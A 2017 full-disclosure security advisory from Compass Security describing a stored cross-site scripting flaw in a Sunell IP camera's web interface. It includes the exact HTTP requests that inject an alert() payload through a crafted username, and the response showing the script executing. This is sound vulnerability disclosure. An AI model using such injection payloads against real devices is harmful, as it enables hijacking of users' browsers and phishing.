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Date: Wed, 24 May 2017 14:27:55 +0000
From: Advisories <advisories@...pass-security.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
 "bugs@...uritytracker.com" <bugs@...uritytracker.com>,
 "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Sunell IPR54/14AKDN(II)/13 IP Camera - Stored Cross-Site
	Scripting

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  Sunell IPR54/14AKDN(II)/13 [1]
# Vendor:   Shenzhen Sunell Technology Corporation
# CSNC ID: CSNC-2017-011
# Subject:  Stored Cross-Site Scripting
# Risk:       High
# Effect:    Remotely exploitable
# Author:   Stephan Sekula <stephan.sekula@...pass-security.com>
# Date:      18.04.2017
#
#############################################################

Introduction:
-------------
Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor
and outdoor applications. Equipped with a 2MP sensor enabling viewing
resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing
high quality video at high resolution of up to 2MP even in low light environments. [1]

Compass Security discovered a web application security flaw in the camera's
web interface, which allows an attacker to manipulate the resulting website.
This allows, for instance, attacking the user's browser or redirecting the
user to a phishing website. In order to do so, the attacker needs to, e.g., change
the current user's username.


Affected:
---------
Vulnerable:
 * v2.0.0801.1002.1.1.136.0.0


Technical Description
---------------------
The camera's web interface employs a username, which can be manipulated.
If this parameter contains JavaScript code, it is executed in the user's
browser, once a page is visited, which contains the username. Exploiting
the vulnerability will lead to so-called Cross-Site Scripting (XSS),
allowing the execution of JavaScript in the context of the victim.

Request:
POST /goform/WEB_SetValueByAjax HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Referer: http://192.168.0.120/asppage/common/index.asp?ID=10200&lg=1
Content-Length: 502
Connection: close

XMLData=<MPLDCProtocol ProtocolType="1"><MPLDCPDeviceConfig ReturnValue="0" OperateType="2"><DeviceInfoEx User="" Password="" IP="192.168.0.120" Port="30001" DeviceID="0BCF7B"/><DeviceConfigID ID="DeviceConfig_AddUser"/><ConfigItem ID="ID_AddUserName" Value="csnc';alert(0);'"/><ConfigItem ID="ID_Password" Value="Password.123"/><ConfigItem ID="ID_PrivilegeGroup" Value="Administrators"/><ConfigItem ID="ID_MultiLoginFlag" Value="true"/></MPLDCPDeviceConfig></MPLDCProtocol>&ID=10200&LanguageId=1&Num=2


After a new user with manipulated username has been created, this user
is used to login.


Request (accessing page /asppage/common/ipc_privilegeuser.asp while being logged in as user csnc';alert(0);'):
GET /asppage/common/ipc_privilegeuser.asp?ID=56486&random=0.6518143656183069 HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.4818473020393146
Cookie: coobjMenuTree=PrivilegeManager; csobjMenuTree=User
Connection: close

Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Cache-Control: max-age=180
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
[CUT]
   <script language=javascript> function getdata() {
 var currentLoginUserName = 'csnc';alert(0);'';document.getElementById('pwdType').value = 2; return currentLoginUserName  }</script>
[CUT]
</body>
</html>


Workaround / Fix:
-----------------
This issue can be fixed by properly encoding all output, which is posted back
to the user. For instance, using HTML encoding, to convert < to &lt; and > to &gt;.


Timeline:
---------
2017-05-18:     Public disclosure date
2017-04-18:     Vendor notification (No response)
2017-03-22:     Initial vendor notification (No response)
2017-03-22:     Discovery by Stephan Sekula


References:
-----------
[1] http://www.sunellsecurity.com

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